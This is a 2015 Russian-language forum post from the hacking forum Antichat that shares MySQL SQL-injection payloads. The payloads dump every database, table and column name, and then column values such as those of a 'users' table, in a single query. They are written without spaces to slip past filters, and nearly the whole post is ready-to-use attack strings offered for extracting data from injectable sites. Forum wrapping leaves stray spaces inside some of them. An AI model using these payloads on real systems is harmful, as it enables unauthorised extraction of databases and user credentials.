Показать сообщение отдельно

  #2  
Старый 02.04.2015, 14:45
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

Товарищ profexer сделал очень крутую вещь - ускоритель MySQL.

Вывод данных в один запрос:

SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,0x2C,{COLUMNS})),@p),5)

Хотелось бы сразу получить одним запросом абсолютно всю структуру и уже далее тащить данные, а сделать можно это так(я сделал пример без пробелов!). Если есть предположения, что бд очень много, то сразу можно использовать пример ниже.



Список абсолютно всех бд, таблиц, колонок одним запросом(без пробелов!)


SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.columns)WHERE@p:=CONCAT(@p,0x0D0 A ,table_schema,0x3a,table_name,0x3a,column_name)),@ p),5))

0x0D0A -> перевод строки, смотреть в "Исходный код страницы"

Если желаете, то можете заменить на 0x2C -> Запятая или другой удобной вид, но в данном случае, как мне кажется, структуру любой бд с скули наглядно сразу не будет видно.

Ну далее частные случаи:



Список бд(без пробелов!)


SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.schemata)WHERE@p:=CONCAT(@p,0x2C ,schema_name)),@p),5))

Список всех бд, таблиц(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.tables)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name)),@p),5))

Список всех таблиц, колонок текущей бд(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.columns)where(table _schema=database()))x)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name,0x3a,column_name)),@ p),5))

Список таблиц текущей бд(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.tables)where(table_ schema=database()))x)WHERE@p:=CONCAT(@p,0x2C,table _name)),@p),5))

Список колонок таблицы users(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.columns)where(table _name=0x7573657273))x)WHERE@p:=CONCAT(@p,0x2C,colu mn_name)),@p),5))

ps помните, таблица users и в другой бд может быть, тогда добавить условие в where

И напоследок значения с колонок(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM({ TABLE})WHERE@p:=CONCAT(@p,0x0D0A,{COLUMN1},0x3a,{C OLUMN2})),@p),5))